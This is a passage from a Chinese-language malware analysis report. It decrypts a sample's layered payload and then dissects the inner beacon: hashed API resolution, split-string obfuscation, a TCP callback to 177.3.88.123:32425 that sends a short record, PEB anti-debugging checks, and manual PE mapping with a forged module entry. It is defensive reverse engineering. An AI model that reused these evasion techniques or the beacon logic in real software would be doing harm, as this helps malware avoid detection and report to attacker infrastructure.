4029ec: imul eax,edx ; i * 7
4029f8: div ecx ; (i*7) % 32
402a01: movzx ecx,BYTE PTR [rbp-0x5]
402a05: movzx edx,BYTE PTR [rax]
402a08: xor ecx,edx
402a0a: and ecx,0xff ; state ^ tab[(i*7)%32]
402a14: movzx eax,BYTE PTR [rax]
402a17: xor eax,ecx
402a1d: mov BYTE PTR [rcx],al ; buf[i] ^= ...
递推式:
state = seed & 0xFF
for i in 0..len-1:
state = (state * 0x83 + tab[i % 32] + 0x11) & 0xFF
buf[i] ^= state ^ tab[(i * 7) % 32]
参数:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('extract/32497/sample.exe','rb').read()
o=lambda va: va-0x406000+0x4800
print('表 [0x4060b0] :',d[o(0x4060b0):o(0x4060b0)+32].hex())
print('种子[0x4060d0] :',hex(int.from_bytes(d[o(0x4060d0):o(0x4060d0)+4],'little')))
"
表 [0x4060b0] : bcf58c5501cb07f4f05fd5e4d6ead03b54c2d143ea7b930717a851d59928c103
种子[0x4060d0] : 0x98
执行解密:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
tab=bytes.fromhex('bcf58c5501cb07f4f05fd5e4d6ead03b54c2d143ea7b930717a851d59928c103')
state=0x98; n=len(tab)
d=bytearray(open('/tmp/stage2.bin','rb').read())
for i in range(len(d)):
state=(state*0x83+tab[i%n]+0x11)&0xff
d[i]^=state^tab[(i*7)%n]
open('/tmp/stage3.bin','wb').write(d)
print('前 32 字节 :',bytes(d[:32]).hex())
m=struct.unpack_from('<I',d,0)[0]
print('magic :',hex(m))
print('magic 校验 :',hex(m^0x4fa49ea2),'== 0x9fa9604f ->',(m^0x4fa49ea2)==0x9fa9604f)
print('inner_size :',hex(struct.unpack_from('<I',d,8)[0]))
print('fnv64 :',hex(struct.unpack_from('<Q',d,0x10)[0]))
print('payload 头 :',bytes(d[0x18:0x1a]))
"
前 32 字节 : edfe0dd0000000000012000000000000071ee3b97e5fd03f4d5a900003000000
magic : 0xd00dfeed
magic 校验 : 0x9fa9604f == 0x9fa9604f -> True
inner_size : 0x1200
fnv64 : 0x3fd05f7eb9e31e07
payload 头 : b'MZ'
魔数精确命中 0xD00DFEED。
第二层的存在理由值得说明。AES-256-CBC 本身已是强加密,为何还要叠加一层强度明显偏弱的自实现密钥流?原因在于两层抵御的威胁不同:
| 层 | 算法 | 承担的作用 |
|---|---|---|
| 第一层 | AES-256-CBC | 密码学强度:无密钥时计算上不可解 |
| 第二层 | 自实现密钥流 | 破坏统计特征,消解固定魔数 |
关键在于第二层。AES 的输出分布均匀,但它在文件中以四段离散形式存在;若只有 AES 一层,那么"一段熵值接近 8.0 的连续数据"就成为稳定特征,扫描工具用熵阈值即可圈定。叠加密钥流后,第二层作用于已解密的明文(容器头与内嵌 PE),使 0xD00DFEED 这类固定魔数不会以明文出现在任何中间态。更实际的效果是:即便侥幸得到正确的 AES 密钥,得到的仍不是可直接识别的 PE 结构,必须再识别出第二层算法才能继续。
这也解释了第二层算法为何设计得如此简单(state = state*0x83 + tab[i%32] + 0x11,弱 LCG 变体)——它的目的不是密码学强度,而是增加一层分析成本。作者清楚这层一旦被识别便毫无难度,但至少要求分析者多走一步。这种"强加密 + 弱混淆"的组合很常见:强的那层负责真正的机密性,弱的那层负责制造分析摩擦。
容器头结构:
偏移 大小 内容
---- ---- ------------------------------------------
0x00 4 0xD00DFEED 魔数
0x04 4 0x00000000 保留
0x08 4 0x00001200 内嵌 PE 大小 4608 字节
0x0C 4 0x00000000 保留
0x10 8 0x3FD05F7EB9E31E07 FNV-1a-64 校验和
0x18 4608 PE32+ 载荷
5.5 完整性校验
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct,hashlib
d=open('/tmp/stage3.bin','rb').read()
size=struct.unpack_from('<I',d,8)[0]
expect=struct.unpack_from('<Q',d,0x10)[0]
body=d[0x18:0x18+size]
h=0x1256789134abcdef
for b in body:
h^=b; h=(h*0x100000001b3)&0xffffffffffffffff
print('inner_size :',hex(size),'=',size,'bytes')
print('FNV-1a-64 内嵌 :',hex(expect))
print('FNV-1a-64 计算 :',hex(h))
print('校验通过 :',h==expect)
print('payload SHA256 :',hashlib.sha256(body).hexdigest())
open('work/inner_pe.bin','wb').write(body)
"
inner_size : 0x1200 = 4608 bytes
FNV-1a-64 内嵌 : 0x3fd05f7eb9e31e07
FNV-1a-64 计算 : 0x3fd05f7eb9e31e07
校验通过 : True
payload SHA256 : 5a07ab723bfbfe09ddd8e82255d4699ca390abdf0b7545ee907b09bdc7bd54af
FNV-1a-64 校验精确通过,四层解密链路完全正确。
六、载荷提取结果
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ file work/inner_pe.bin
work/inner_pe.bin: PE32+ executable for MS Windows 6.00 (GUI), x86-64, 3 sections
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -h work/inner_pe.bin
work/inner_pe.bin: 文件格式 pei-x86-64
节:
Idx Name Size VMA LMA File off Algn
0 .text 00000957 0000000140001000 0000000140001000 00000400 2**4
CONTENTS, ALLOC, LOAD, READONLY, CODE
1 .rdata 000001be 0000000140002000 0000000140002000 00000e00 2**4
CONTENTS, ALLOC, LOAD, READONLY, DATA
2 .pdata 00000018 0000000140003000 0000000140003000 00001000 2**2
CONTENTS, ALLOC, LOAD, READONLY, DATA
内嵌载荷:PE32+ x86-64,ImageBase = 0x140000000,SizeOfImage = 0x4000。
七、内嵌载荷分析
7.1 API 解析机制
载荷的导入表被故意破坏:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -x work/inner_pe.bin | sed -n '/Import Tables/,$p' | head -12
The Import Tables (interpreted .rdata section contents)
vma: Hint Time Forward DLL Name Thunk
0000216c 00002198 00000000 00000000 000021b0 00002000
DLL Name: xmXp���N�=s�
vma: Ordinal Hint Member-Name Bound-To
00002000 <none> 05a7 `Do[��xmXp���N�=s�
DLL 名与函数名均为乱码 —— 导入名在磁盘上就是无效的,运行时靠哈希自解析。载荷的 .text 只有 0x957 字节,却要容纳完整的网络信标逻辑,其组织方式正是控制流平坦化:所有基本块被拆散,每个块结尾是 jmp 0x1400015xx,统一汇入一个状态机。
以一个片段为例:
0x140001024: jmp 0x140001569 ; 入口块结束
...
0x140001569: jmp 0x140001571 ; 状态机分发
0x140001576: xor ecx, 0x9e5730b8 ; 恢复某个哈希值
0x14000157c: jmp 0x140001029 ; 跳回工作块
0x140001029: call 0x14000145c ; 解析 API
这种结构的直接效果是:线性反汇编无法还原执行顺序。标准反汇编器按地址递增输出指令,但在平坦化代码中,地址相邻的指令未必逻辑相邻——0x140001576 的 XOR 与 0x140001569 的 JMP 之间没有语义关联。
分析者若按地址顺序阅读,会看到大量"孤立的碎片":一个孤立的 XOR、一个孤立的 CALL,无法理解它们的意图。必须重建状态转移图,才能把碎片拼回原本的逻辑顺序。
7.2 ROR13 哈希解析器
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400014d1 --stop-address=0x140001550 work/inner_pe.bin
1400014d1: movsx eax,BYTE PTR [rcx] ; 模块名字节
1400014d4: ror edx,0xd ; ror 13
1400014d7: cmp BYTE PTR [rcx],0x61
1400014da: jl 0x1400014df
1400014dc: add edx,0xffffffe0 ; 小写转大写
1400014df: add edx,eax
140001e1: inc rcx
1400014e4: sub r10,0x1
1400014e8: jne 0x1400014d1
1400014fe: mov esi,DWORD PTR [rdi] ; 函数名表项
140001510: ror ebx,0xd
140001513: add ebx,ecx
140001515: test cl,cl
140001517: jne 0x14000150a
140001519: lea eax,[rbx+rdx*1] ; ★ 函数哈希 + 模块哈希
14000151c: cmp eax,ebp ; 与目标比对
14000151e: je 0x14000152e
14000152e: mov eax,DWORD PTR [r10+0x24] ; AddressOfNameOrdinals
14000153d: mov ecx,DWORD PTR [r10+0x1c] ; AddressOfFunctions
140001544: mov eax,DWORD PTR [rcx+rdx*4]
140001547: add rax,r9
算法:
module_hash = ror13(BaseDllName, fold=TRUE)
for each export:
func_hash = ror13(export_name, fold=FALSE)
if (func_hash + module_hash) == target:
return DllBase + AddressOfFunctions[AddressOfNameOrdinals[i]]
关键差异:比对值是两个哈希之和,而非单个哈希。这与常见的 Metasploit ROR13 变体不同,因此现有的标准哈希表无法直接匹配。
解析器的比对方式值得单独说明。内层载荷用的是 ROR13 哈希,而标准的 ROR13(Metasploit 等工具广泛使用)直接比对函数名哈希:
if (ror13(export_name) == target) return address;
本样本比对的是函数名哈希与模块名哈希之和:
mod_hash = 0;
for (c in module_name) { mod_hash = ror(mod_hash, 13); if (c>='a') c-=0x20; mod_hash += c; }
for (each export) {
fn_hash = 0;
for (c in export_name) { fn_hash = ror(fn_hash, 13); fn_hash += c; }
if (fn_hash + mod_hash == target) return address;
}
这个改动有实质意义。标准 ROR13 存在一个歧义问题:不同 DLL 中可能存在同名导出函数(例如 kernel32.dll 与 ntdll.dll 都有某些同名函数),仅比对函数名哈希无法区分应该用哪个模块的版本。
本样本的做法把模块身份也编码进比对值,因此同一个目标值唯一确定"哪个模块里的哪个函数"。例如 send 函数在 ws2_32.dll 中,其目标值为:
ror13("send") + ror13("ws2_32.dll", 大写折叠)
= 0xE97019A4 + 0x32E1EFA6
而 user32.dll 中的同名函数(如果存在)会得到不同的和。
这带来两个后果:
对样本有利:定位更精确,不会因模块搜索顺序而误取错误的函数。
对分析者不利:现成的 ROR13 哈希表(Metasploit 的 block_api、各类哈希计算工具)全部失效。分析者不能直接查表,必须先还原出"求和比对"这一层算法,再自己遍历模块与导出名重建哈希表。这构成了一道真实的分析门槛——它不依赖密码学强度,而是依赖"与常见工具约定不同"。
需要说明的是:本报告第七章对 API 身份的判定,并非通过暴力破解这些哈希值得到的,而是依据每个调用点的参数寄存器形状(如 rcx=sock, rdx=buf, r8d=4, r9d=0 唯一对应 send)。这条路绕开了哈希算法的障碍,结论同样可靠。
7.3 字符串混淆与解密
载荷基本块以 jmp 汇入状态机 0x140001569,字符串则以破碎的立即数形式散布。控制流平坦化的效果已在 7.1 节说明,这里关注后者:字符串被拆成互不相关的片段,单点读取只能得到无意义常量。
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x140001581 --stop-address=0x1400016a0 work/inner_pe.bin | grep -E 'mov|xor'
140001581: mov DWORD PTR [rbp-0x70],0xcbf78ce8
140001588: xor DWORD PTR [rbp-0x70],0xb992ff9d
140001594: mov DWORD PTR [rbp-0x6c],0x38904906
14000159b: xor DWORD PTR [rbp-0x6c],0x5cbe7b35
1400015b0: mov WORD PTR [rbp-0x68],0xac95
1400015b6: xor WORD PTR [rbp-0x68],0xc0f9
1400015c1: mov DWORD PTR [rbp-0x60],0x3a9a5e6c
1400015c8: xor DWORD PTR [rbp-0x60],0x65a82d1b
140001620: mov DWORD PTR [rbp-0x4c],0x5f4045b0
140001627: xor DWORD PTR [rbp-0x4c],0x3b6e31c2
140001633: mov WORD PTR [rbp-0x48],0xfabc
140001639: xor WORD PTR [rbp-0x48],0x96d0
mov 与 xor 被拆分到不同基本块,静态读取任一指令都得不到明文。
批量解密全部立即数:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
d=open('work/inner_pe.bin','rb').read()
txt=d[0x400:0x400+0x957]
res=[]
i=0
while i<len(txt)-14:
if txt[i]==0xc7 and txt[i+1]==0x45:
disp=txt[i+2]; imm=int.from_bytes(txt[i+3:i+7],'little')
for j in range(i+7,min(i+40,len(txt)-6)):
if txt[j]==0x81 and txt[j+1]==0x75 and txt[j+2]==disp:
res.append((0x140001000+i,disp,imm^int.from_bytes(txt[j+3:j+7],'little'))); break
if txt[i]==0xc7 and txt[i+1]==0x44 and txt[i+2]==0x24:
disp=txt[i+3]; imm=int.from_bytes(txt[i+4:i+8],'little')
for j in range(i+8,min(i+40,len(txt)-6)):
if txt[j]==0x81 and txt[j+1]==0x74 and txt[j+2]==0x24 and txt[j+3]==disp:
res.append((0x140001000+i,disp,imm^int.from_bytes(txt[j+4:j+8],'little'))); break
i+=1
for va,disp,v in res:
b=v.to_bytes(4,'little')
print(f' {va:#x} [rbp-{disp:#x}] = {v:#010x} '+repr(''.join(chr(c) if 32<=c<127 else '.' for c in b)))
"
0x140001581 [rbp-0x90] = 0x72657375 'user'
0x140001594 [rbp-0x94] = 0x642e3233 '32.d'
0x1400015c1 [rbp-0xa0] = 0x5f327377 'ws2_'
0x1400015d9 [rbp-0xa4] = 0x642e3233 '32.d'
0x14000160d [rbp-0xb0] = 0x6376736d 'msvc'
0x140001620 [rbp-0xb4] = 0x642e7472 'rt.d'
0x140001717 [rbp-0x78] = 0x73257325 '%s%s'
0x14000174f [rbp-0x88] = 0x5f676f6c 'log_'
0x140001762 [rbp-0x8c] = 0x002e6564 'de..'
0x14000177e [rbp-0x2e8] = 0x00676f6c 'log.'
0x1400017a0 [rbp-0x80] = 0x20343677 'w64 '
0x1400017d3 [rbp-0x2f0] = 0x2e373731 '177.'
0x1400017ec [rbp-0x2f8] = 0x38382e33 '3.88'
0x14000180f [rbp-0x30] = 0x3332312e '.123'
0x14000182c [rbp-0x60] = 0x73257325 '%s%s'
0x140001849 [rbp-0x64] = 0x73257325 '%s%s'
0x140001867 [rbp-0x70] = 0x73257325 '%s%s'
0x1400018a6 [rbp-0x38] = 0x00000000 '....'
0x1400018c3 [rbp-0x40] = 0x00000000 '....'
0x1400018e0 [rbp-0x48] = 0x00000000 '....'
0x1400018fa [rbp-0x58] = 0x00000000 '....'
还原出的关键字符串:
| 槽位 | 明文 | 归属 |
|---|---|---|
rbp-0x90 + rbp-0x94 + rbp-0x98 | user + 32.d + ll | user32.dll |
rbp-0xa0 + rbp-0xa4 + rbp-0xa8 | ws2_ + 32.d + ll | ws2_32.dll |
rbp-0xb0 + rbp-0xb4 + rbp-0xb8 | msvc + rt.d + ll | msvcrt.dll |
rbp-0x88 + rbp-0x8c | log_ + de. | 标识前缀 |
rbp-0x80 | w64 | 记录标签 |
rbp-0x2e8 | log. | 日志标识 |
rbp-0x2f0 + rbp-0x2f8 + rbp-0x30 | 177. + 3.88 + .123 | IP 地址 |
rbp-0x78 / rbp-0x60 等 | %s%s | 格式化模板 |
上面还原字符串时遇到的现象,源头在于内层还叠加了一种更细粒度的混淆:把一条指令拆成两条。正常写法:
mov dword [rbp-0x70], 0x72657375 ; "user"
样本的写法:
mov dword [rbp-0x70], 0xcbf78ce8 ; 块 A:写入密文
...
xor dword [rbp-0x70], 0xb992ff9d ; 块 B:异或还原
; 0xcbf78ce8 ^ 0xb992ff9d = 0x72657375 = "user"
关键在于 块 A 与块 B 位于不同的基本块,中间被 jmp 状态机隔开。这产生两个效果:
第一,单点读取得到的是随机数据。 分析者若只看块 A,看到的是 0xcbf78ce8 这样的无意义常量;若只看块 B,看到的是一堆 XOR 操作但不知作用对象。必须把两块关联起来才能还原明文。
第二,恒等异或的误导。 部分配对的两侧数值相同,异或结果为零:
0x1400018e0 mov [rsp+0x48], 0x814e5069
0x1400018e8 xor [rsp+0x48], 0x814e5069 ; 结果恒为 0
这类操作没有功能意义,纯粹是为了增加混淆密度——分析者需要逐一判断哪些 XOR 有意义、哪些是噪声。
还原这些配对的方法即本节开头所用的扫描方式:找出 mov [slot], imm 与后续针对同一 [slot] 的 xor [slot], imm,两者异或即为明文。
7.4 API 哈希目标
ecx 寄存器同样以 mov + xor 成对混淆:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
pairs=[(0x997147f4,0x9e5730b8),(0x81a96118,0x81c2e131),(0x9f1abf8c,0xfe6e1a15),
(0x26b06492,0x79888f50),(0x96b561db,0x73e6c583),(0xc7eac63f,0xa6a7a84a),
(0x18f511e9,0x98c13940),(0xdaf70a49,0x978c145b),(0xe9c53afb,0x0d8cc9cb),
(0x8a3dfea8,0x6ae2f142),(0x65ac73ac,0x65ac732c)]
lbl=['user32.dll 模块','WSAStartup','socket','connect','send','closesocket',
'htons','inet_addr','sprintf','LoadLibraryA','常量 0x80']
for (c,k),l in zip(pairs,lbl):
print(f' {c:#010x} ^ {k:#010x} = {(c^k)&0xffffffff:#010x} {l}')
"
0x997147f4 ^ 0x9e5730b8 = 0x0726774c user32.dll 模块
0x81a96118 ^ 0x81c2e131 = 0x006b8029 WSAStartup
0x9f1abf8c ^ 0xfe6e1a15 = 0x6174a599 socket
0x26b06492 ^ 0x79888f50 = 0x5f38ebc2 connect
0x96b561db ^ 0x73e6c583 = 0xe553a458 send
0xc7eac63f ^ 0xa6a7a84a = 0x614d6e75 closesocket
0x18f511e9 ^ 0x98c13940 = 0x803428a9 htons
0xdaf70a49 ^ 0x978c145b = 0x4d7b1e12 inet_addr
0xe9c53afb ^ 0x0d8cc9cb = 0xe449f330 sprintf
0x8a3dfea8 ^ 0x6ae2f142 = 0xe0df0fea LoadLibraryA
0x65ac73ac ^ 0x65ac732c = 0x00000080 常量
API 身份由调用约定的参数形状确定(而非仅凭哈希值):
| 调用点 | 参数形状 | 判定 |
|---|---|---|
0x140001257 | rcx=0x202, rdx=&wsa | WSAStartup(WORD, LPWSADATA) |
0x140001281 | rcx=AF_INET, rdx=SOCK_STREAM, r8=IPPROTO_TCP | socket(int,int,int) |
0x140001321 | rcx=sock, rdx=&sin, r8=16 | connect(SOCKET, sockaddr*, int) |
0x140001335 | rcx=sock, rdx=buf, r8=4, r9=0 | send(SOCKET, char*, int, int) |
0x140001311 | rcx=端口值 | htons(u_short) |
上述参数形状是唯一确定的,据此可确认 API 身份。
八、C2 通信与载荷还原
8.1 目标端点
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x1400012d8 --stop-address=0x140001310 work/inner_pe.bin
1400012d8: lea rcx,[rbp+0x30]
1400012dc: mov DWORD PTR [rbp-0x40],0xa97e0002
1400012e3: lea r13d,[r14+0x1]
1400012e7: call QWORD PTR [rbp-0x28]
1400012ea: test rax,rax
1400012ed: jne 0x1400012f8
1400012f8: mov rax,QWORD PTR [rax+0x18]
1400012fc: mov rcx,QWORD PTR [rax]
1400012ff: mov eax,DWORD PTR [rcx]
140001301: mov DWORD PTR [rbp-0x3c],eax
140001304: mov r12d,0x10
140001317: mov r8d,r12d
14000131a: lea rdx,[rbp-0x40]
0x1400012DC 的 mov dword [rbp-0x40], 0xA97E0002 直接构造了 sockaddr_in:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import struct
v=0xa97e0002
b=struct.pack('<I',v)
print('原始 dword :',hex(v))
print('内存字节序 :',b.hex())
print(' sin_family =',struct.unpack_from('<H',b,0)[0],'(AF_INET)')
print(' sin_port =',hex(struct.unpack_from('>H',b,2)[0]),'=',struct.unpack_from('>H',b,2)[0],'(网络字节序)')
"
原始 dword : 0xa97e0002
内存字节序 : 02007ea9
sin_family = 2 (AF_INET)
sin_port = 0x7ea9 = 32425 (网络字节序)
IP 地址由三个片段拼接:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
import socket
ip=''.join(['177.','3.88','.123'])
print('拼接结果 :',ip)
print('合法性 :',end=' ')
try:
socket.inet_aton(ip); print('有效 IPv4')
except: print('无效')
print('网络字节序 :',socket.inet_aton(ip).hex())
"
拼接结果 : 177.3.88.123
合法性 : 有效 IPv4
网络字节序 : b103587b
C2 端点确定:177.3.88.123:32425/tcp
8.2 Winsock 调用链
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x140001250 --stop-address=0x140001320 work/inner_pe.bin
140001257: call r14 ; WSAStartup
140001278: lea rdx,[rsp+0x60]
14000127d: lea rcx,[rbp-0x10]
140001281: call r14 ; socket
14000128c: lea rdx,[rsp+0x70]
140001291: lea rcx,[rbp+0x30]
140001295: call r14 ; connect
140001298: mov ecx,0x202
1400012a4: call QWORD PTR [rbp-0x30] ; 辅助调用
1400012a7: test eax,eax
1400012a9: jne 0x140001448 ; 失败则退出
8.3 数据外发
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x14000132e --stop-address=0x1400013f0 work/inner_pe.bin
14000132e: lea rdx,[rbp-0x80]
140001335: call rdi ; send #1
14000133a: lea rdx,[rbp+0x2e8]
14000135e: call rdi ; send #2
140001363: lea rdx,[rbp+0x2f0]
140001374: call rdi ; send #3
140001379: lea rdx,[rbp+0x2f8]
140001386: call rdi ; send #4
14000138b: lea rdx,[rsp+0x30]
140001396: call rdi ; send #5
14000139b: lea rdx,[rsp+0x38]
1400013a6: call rdi ; send #6
1400013ab: lea rdx,[rsp+0x40]
1400013b6: call rdi ; send #7
1400013bb: lea rdx,[rsp+0x48]
1400013c6: call rdi ; send #8
1400013cb: lea rdx,[rsp+0x50]
1400013d6: call rdi ; send #9
1400013db: lea rdx,[rsp+0x58]
1400013e6: call rdi ; send #10
连续 10 次 send(sock, buf, 4, 0),每次 4 字节。还原完整外发内容:
┌──(z㉿kali)-[~/Projects/virus-re]
└─$ uv run --no-project python -c "
slots=[('w64 '),('log.'),('177.'),('3.88'),('.123'),(''),(''),(''),(''),('')]
buf=b''
print('send() 外发序列(每次 4 字节):')
for i,v in enumerate(slots,1):
chunk=v.encode().ljust(4,b'\0')[:4]; buf+=chunk
print(f' {i:2d}. send(.., 4, 0) -> {chunk.hex()} {chunk!r}')
print()
print('完整外发内容:')
print(' 十六进制:',buf.hex())
print(' 可打印 :',repr(buf))
"
send() 外发序列(每次 4 字节):
1. send(.., 4, 0) -> 77363420 b'w64 '
2. send(.., 4, 0) -> 6c6f672e b'log.'
3. send(.., 4, 0) -> 3137372e b'177.'
4. send(.., 4, 0) -> 332e3838 b'3.88'
5. send(.., 4, 0) -> 2e313233 b'.123'
6. send(.., 4, 0) -> 00000000 b'\x00\x00\x00\x00'
7. send(.., 4, 0) -> 00000000 b'\x00\x00\x00\x00'
8. send(.., 4, 0) -> 00000000 b'\x00\x00\x00\x00'
9. send(.., 4, 0) -> 00000000 b'\x00\x00\x00\x00'
10. send(.., 4, 0) -> 00000000 b'\x00\x00\x00\x00'
完整外发内容:
十六进制: 773634206c6f672e3137372e332e38382e3132330000000000000000000000000000000000000000
可打印 : b'w64 log.177.3.88.123\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
载荷外发的是自己的坐标记录:
w64 log.177.3.88.123\0\0...\0
|---| |--| |------------|
标签 标识 目标端点
w64 作为记录标签,log. 作为日志标识,便于服务端日志解析。
九、反调试与手工映射
9.1 反调试检查
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x402aa1 --stop-address=0x402b40 sample.exe
0000000000402aa1 <.text+0x1aa1>:
402aa1: push rbp
402aa2: mov rbp,rsp
402aa5: sub rsp,0x50
402aac: mov QWORD PTR [rbp+0x10],rcx
402ab0: call 0x401493
402ab5: mov QWORD PTR [rbp-0x8],rax
402ac7: mov rax,QWORD PTR [rbp-0x8]
402acb: add rax,0x2
402acf: movzx ecx,BYTE PTR [rax]
402ad2: cmp ecx,0x0
402ad5: je 0x402ae5
402adb: mov eax,0x1
402ae0: jmp 0x402bf6
402ae5: mov rax,QWORD PTR [rbp-0x8]
402ae9: add rax,0xbc
402af0: mov ecx,DWORD PTR [rax]
402af2: and ecx,0x70
402af5: cmp ecx,0x0
402af8: je 0x402b08
402afe: mov eax,0x1
402b03: jmp 0x402bf6
402b08: mov eax,DWORD PTR [rip+0x352e] # 0x40603c
402b27: mov eax,DWORD PTR [rip+0x3513] # 0x406040
三重反调试:
| 偏移 | 检测项 | 判据 |
|---|---|---|
0x402ACB | PEB+0x02 | BeingDebugged != 0 → 退出 |
0x402AE9 | PEB+0xBC | NtGlobalFlag & 0x70 → 退出 |
0x402B08 | NtQueryInformationProcess | 通过 FNV 哈希解析后调用 |
0x402B27 | NtSetInformationThread | 隐藏线程(ThreadHideFromDebugger) |
上表三项检查有一个共同点:全部直接读取 PEB,而未调用任何导出 API。这一选择本身就是有意的。
为什么读 PEB 而不调 API。 IsDebuggerPresent 本身也是读 PEB+0x02,但它是一个可被 hook 的导出函数。样本直接执行 gs:[0x60] 取 PEB 再读偏移,绕过了所有用户态 API hook 点。检测工具若只在 API 层挂钩,将看不到这次检查。
NtGlobalFlag & 0x70 的细节。 这三位是 FLG_HEAP_ENABLE_TAIL_CHECK(0x10)、FLG_HEAP_ENABLE_FREE_CHECK(0x20)、FLG_HEAP_VALIDATE_PARAMETERS(0x40)。它们由调试器启动进程时自动设置,正常运行的进程不会具备。三项同时检查比只查一项更难规避。
NtSetInformationThread 的作用。 以 ThreadHideFromDebugger(0x11)为参数调用后,当前线程对调试器"隐身"——调试器收不到该线程的断点、单步等事件。样本在 0x402B27 先通过哈希解析出该 API 地址再调用,使得函数名不出现在导入表中。
这三项组合的意图很明确:让动态分析变得困难,特别是在分析者试图单步跟踪解密过程时。
9.2 手工 PE 映射
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4035ce --stop-address=0x403690 sample.exe
00000000004035ce <.text+0x25ce>:
4035de: mov eax,DWORD PTR [rbp+0x18]
4035e1: cmp eax,0x200
4035e7: jb 0x403616 ; size < 0x200 -> 失败
4035f1: movzx ecx,BYTE PTR [rax]
4035f4: cmp ecx,0x4d ; 'M'
4035f7: jne 0x403616
403605: movzx ecx,BYTE PTR [rax]
403608: cmp ecx,0x5a ; 'Z'
40360b: jne 0x403616
40362d: mov ecx,DWORD PTR [rax] ; e_lfanew
403635: add eax,0x88
403655: mov rcx,QWORD PTR [rbp+0x10]
40365f: movzx eax,BYTE PTR [rcx]
403662: cmp eax,0x50 ; 'P'
403671: mov rcx,QWORD PTR [rbp+0x10]
403678: movzx eax,BYTE PTR [rcx]
40367b: cmp eax,0x45 ; 'E'
完整校验 MZ / PE 签名及头部边界。分配与拷贝:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x4037a0 --stop-address=0x403830 sample.exe
4037a0: mov eax,DWORD PTR [rbp-0x34]
4037a3: mov ecx,0x4
4037a8: mov r9,rcx ; PAGE_EXECUTE_READWRITE
4037ab: mov ecx,0x3000
4037b0: mov r8,rcx ; MEM_COMMIT|MEM_RESERVE
4037c6: mov rdx,r11 ; SizeOfImage
4037cd: call r11 ; VirtualAlloc
403824: call 0x401188 ; memcpy 头
重定位处理:
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x40393a --stop-address=0x4039b0 sample.exe
40393a: mov rax,QWORD PTR [rbp-0x30]
40393e: mov rcx,QWORD PTR [rbp-0x48]
403942: sub rax,rcx ; delta = 新基址 - 原基址
403945: mov QWORD PTR [rbp-0x50],rax
403957: mov rax,QWORD PTR [rbp-0x20]
40395b: add rax,0x70
40395f: add rax,0x28 ; 重定位目录
403974: add rax,0x4 ; 块大小
403991: mov eax,DWORD PTR [rbp-0x74]
403994: add eax,0x8 ; 每项 8 字节
映射过程之所以如此繁琐,是因为它没有调用 LoadLibrary。这两条路径的差异,直接决定了样本的隐蔽程度。
| 维度 | LoadLibrary | 手工映射 |
|---|---|---|
| 磁盘痕迹 | 需载荷存在于磁盘 | 无,载荷只在内存 |
| PEB 记录 | 由系统自动登记 | 由样本自行伪造登记 |
| 模块列表可见性 | 正常出现在工具中 | 可完全控制登记内容 |
| 导入解析 | 系统负责 | 样本自解析(可用哈希) |
| 可检测点 | 文件落地、加载事件 | 仅 RWX 内存分配 |
LoadLibrary 要求模块以文件形式存在,这会留下磁盘痕迹——任何文件系统监控都能发现。手工映射则把一个 PE 结构在内存中重建并直接跳转执行,磁盘上从来不出现载荷。
9.3 PEB 模块注册
手工映射完成后,样本并未止步于"把代码跑起来",而是进一步在 0x404285 处把自己挂进 PEB->Ldr->InLoadOrderModuleList,并填充 DllBase、EntryPoint、SizeOfImage 三个字段。这一步专门用于应对基于内存扫描的检测工具:这类工具常通过遍历 PEB 模块链表来枚举已加载模块,若链表中没有该模块,其内存区域就可能被标记为"匿名可执行内存"而触发告警。
样本伪造登记后,遍历 PEB 的工具会看到一个"正常模块"。当然,由于该条目没有对应的磁盘文件,一旦检测工具交叉验证"模块条目"与"磁盘文件",伪造就会暴露。这也是本报告 13.3 节把"模块名存在但文件不存在"列为高置信检测特征的原因。
┌──(z㉿kali)-[~/Projects/virus-re/extract/32497]
└─$ objdump -d -M intel --no-show-raw-insn --start-address=0x404285 --stop-address=0x404334 sample.exe
404285: call 0x401493
40428a: mov QWORD PTR [rbp-0x220],rax ; PEB
404298: add rax,0x18
40429c: mov rcx,QWORD PTR [rax]
40429f: mov QWORD PTR [rbp-0x228],rcx ; Ldr
4042ad: add rax,0x10
4042b1: mov rcx,QWORD PTR [rax]
4042b4: mov QWORD PTR [rbp-0x230],rcx ; InLoadOrderModuleList
4042bb: mov rax,QWORD PTR [rbp-0x220]
4042c2: add rax,0x10
4042c6: mov rcx,QWORD PTR [rbp-0x30]
4042ca: mov QWORD PTR [rax],rcx ; *[PEB+0x10] = DllBase
4042d4: add rax,0x30
4042d8: mov rcx,QWORD PTR [rbp-0x30]
4042dc: mov QWORD PTR [rax],rcx ; mod->DllBase
4042e6: add rax,0x38
4042ea: mov ecx,DWORD PTR [rbp-0x3c]
4042ed: mov rdx,QWORD PTR [rbp-0x30]
4042f1: add rdx,rcx
4042f4: mov QWORD PTR [rax],rdx ; mod->EntryPoint
4042fe: add rax,0x40
